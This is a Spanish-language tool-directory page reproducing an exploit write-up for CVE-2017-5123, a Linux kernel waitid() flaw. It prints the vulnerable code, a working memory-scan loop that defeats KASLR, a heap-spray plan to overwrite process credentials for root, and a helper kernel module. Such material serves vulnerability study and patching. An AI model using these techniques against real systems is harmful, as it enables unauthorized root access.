Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2017-5123 | Kitploit
Herramientas/GitHubGitHub/h1bana/cve-2017-5123
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de Binarios
GitHubh1bana/cve-2017-5123

CVE-2017-5123

Ver Repositorio
hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2017-5123

Bug overview

La llamada al sistema waitid en el kernel de Linux no validaba la dirección de destino utilizada. Esto podría permitir a un usuario local escribir en la memoria del kernel, lo que podría conducir a una escalada de privilegios en el dispositivo o a un escape del sandbox.

Vulnerability description

Clasificación de la vulnerabilidad

  • Escalada de privilegios
  • Escape del sandbox (chrome)

Código de la vulnerabilidad

kernel/exit.c

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
        infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;

    user_access_begin(); // bản chất là gọi stac(), tạm thời tắt SMAP
    unsafe_put_user(signo, &infop->si_signo, Efault); // <- thiếu access_ok() check trc khi gọi hàm này
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();  // bản chất là gọi clac(), bật lại SMAP
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

El error identificado aquí es la falta de verificación access_ok() antes de llamar a la función unsafe_put_user(). En versiones anteriores del kernel, el programa usaba la función put_user(), que incluía la llamada a la verificación access_ok().

root@kitploit:~
put_user(x, void __user *ptr)
    if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
        return -EFAULT
    user_access_begin()
    *ptr = x
    user_access_end()

Al usar la función unsafe_put_user(), el programa evita tener que activar y desactivar SMAP repetidamente en un corto período de tiempo al llamar a user_access_begin() / user_access_end(). La función access_ok() aquí comprueba la validez de la dirección ptr, asegurando que pertenece a la memoria del usuario, impidiendo que el usuario escriba en la memoria del kernel. Por lo tanto, si llamamos a la syscall waitid y el parámetro infop es una dirección del kernel, se desencadenará este error.

Explotación

La falta de verificación access_ok() nos permite pasar una dirección del kernel como parámetro infop de waitid; luego, la syscall sobrescribirá esta dirección llamando a unsafe_put_user(). Una limitación aquí es que no podemos controlar qué se escribirá en la dirección del kernel que proporcionamos. Hay 6 campos utilizados para la escritura: signo, byte nulo, info.cause, info.pid con un valor máximo = 0x8000, info.uid, info.status (aunque es de tipo int32, solo tiene valores >0, <256). El campo más útil probablemente sea el byte nulo. Podemos usarlo para sobrescribir cred->euid y cred->uid. Para hacerlo, necesitamos conocer la dirección de estos dos valores.

Bypass de KASLR escaneando la memoria

Según kernel.org, la memoria virtual del espacio del kernel compartida entre todos los procesos comienza en 0xffff800000000000; sin embargo, desde 0xffff800000000000 hasta 0xffff87ffffffffff es "... guard hole, also reserved for hypervisor", por lo que comenzaremos el escaneo de memoria desde la dirección 0xffff880000000000. También hay que mencionar que podemos escanear la memoria porque unsafe_put_user() no causará un crash al acceder a direcciones no válidas. Esto ayuda a evitar que los "unprivileged users" hagan DoS al sistema pasando direcciones no válidas.

root@kitploit:~
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
    pid = fork();
    if (pid > 0) 
    {
        if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
        {
            printf("[+] Found %p\n", i);
            break;
        }
    }
    else if (pid == 0)
        exit(0);
}

image

Ahora que conocemos la dirección del heap del kernel, el siguiente paso es determinar la dirección de la estructura cred.

Encontrar la dirección de Cred con heap spray

Aunque conocemos la dirección del heap del kernel, esa dirección podría no ser el comienzo del heap. Por lo tanto, no podemos calcular la dirección exacta de la estructura Cred. En este punto usamos una técnica llamada heap spray.

  • Si creamos muchos procesos, habrá muchas estructuras cred en la memoria. Desde ahí, podemos adivinar la dirección de la estructura cred más fácilmente.
  • Esos procesos continúan llamando a geteuid(); si devuelve 0, significa que ese proceso se está ejecutando con privilegios de root -> bingo.
  • El proceso padre continúa llamando a la syscall waitid() usando la vulnerabilidad, adivinando la dirección de la estructura cred y sobrescribiendo cred->uid con null.

Depurar para encontrar la dirección de la estructura cred de los procesos hijos lleva bastante tiempo, así que usé un módulo disponible para imprimir la dirección de cred->euid mediante printk().

root@kitploit:~
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>        // for basic filesystem
#include <linux/proc_fs.h>    // for the proc filesystem
#include <linux/seq_file.h>    // for sequence files

static struct proc_dir_entry* jif_file;

static int
jif_show(struct seq_file *m, void *v)
{
    return 0;
}

static int
jif_open(struct inode *inode, struct file *file)
{
     printk("EUID: %p\n", &current->cred->euid);
     return single_open(file, jif_show, NULL);
}

static const struct file_operations jif_fops = {
    .owner    = THIS_MODULE,
    .open    = jif_open,
    .read    = seq_read,
    .llseek    = seq_lseek,
    .release    = single_release,
};

static int __init
jif_init(void)
{
    jif_file = proc_create("jif", 0, NULL, &jif_fops);

    if (!jif_file) {
        return -ENOMEM;
    }

    return 0;
}

static void __exit
jif_exit(void)
{
    remove_proc_entry("jif", NULL);
}

module_init(jif_init);
module_exit(jif_exit);

MODULE_LICENSE("GPL");

image

Me di cuenta de que hay direcciones con un patrón similar; incluso después de reiniciar, el offset de estas direcciones sigue siendo similar. Por lo tanto, decidí elegir una dirección y luego sumarle pagesize en un bucle para adivinar la dirección de la estructura cred.

image

Vídeo demo de la explotación IMAGE ALT TEXT HERE

Algunos problemas con este enfoque de explotación

  • La tasa de éxito no es segura.
  • Para las versiones del kernel afectadas por esta vulnerabilidad, el exploit puede no funcionar en todas las versiones porque cada versión del kernel tiene un offset de EUID diferente al hacer spray. Para que el PoC pueda ejecutarse en todas las versiones, cuando el exploit busca el euid para cambiarlo a null, dejé la dirección en la forma heap addr founded + offset; es necesario reducir el offset para que pueda usarse en más versiones. Sin embargo, esto significa un tiempo de ataque más largo y aumenta la probabilidad de que el kernel entre en pánico/fallo (panic/crash) debido a que puede escribir en otras estructuras importantes del heap.

Rango de afectación

  • Versión afectada: linux kernel version 4.13 - 4.13.6
  • commit que introduce el error (2017-05-21, v4.13-rc1)

El parche

  • El parche añadió la verificación access_ok().
  • commit que corrige el error

Conclusión

  • El error se puede usar para escalar privilegios y se puede encadenar con el escape del sandbox de Chrome. En el momento del descubrimiento, Chrome seccomp permitía el uso de la syscall waitid.

Referencias

  • Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox!
Descargar herramienta